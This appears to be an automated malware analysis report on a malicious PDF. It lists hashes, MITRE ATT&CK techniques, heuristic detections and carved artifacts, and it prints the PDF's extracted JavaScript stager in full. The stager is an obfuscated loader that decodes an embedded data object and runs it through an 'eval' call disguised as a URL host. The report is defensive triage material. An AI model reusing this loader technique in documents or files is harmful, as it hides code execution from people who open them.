Malicious PDF — malware analysis report

Static analysis result for SHA-256 b8d655a0a45fe811…

MALICIOUS

PDF

5.1 KB First seen: 2026-05-08
MD5: 8cee724ab3b1415581addaad71b48e95 SHA-1: 5389627b81572591fc7415d0efdae3b0701f5e5f SHA-256: b8d655a0a45fe811c41b9d5d2e55ba55bb9a1cb8608fe55aca5bc6ccf3452c84
76 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1187 Exploitation for Client Application

The PDF file contains embedded JavaScript and an embedded binary file, both flagged as suspicious. The JavaScript action and embedded stream suggest an attempt to execute code or deliver a payload. The presence of the embedded file 'embedded_file_obj0013.bin' indicates a likely delivery mechanism for a secondary stage. The document body text is nonsensical and likely a placeholder or obfuscation.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0013.bin pdf-embedded-file PDF EmbeddedFile object 13 at offset 0x425 108545 bytes
SHA-256: e9f5a28270ac0bbfd3196c824c3400dd63b86b59507ccc3edccc058d705e17d8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
256 of 256 identifiers look randomly generated (e.g. 'txNiypIG1NgSiYON1txNiypIG1NgSiYON2txNiyp') — consistent with name-mangling obfuscation. Carved artifact contains 97 long base64-like blob(s).
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x1ED 230 bytes
SHA-256: 30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e
Preview script
First 1,000 lines of the extracted script
zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){   zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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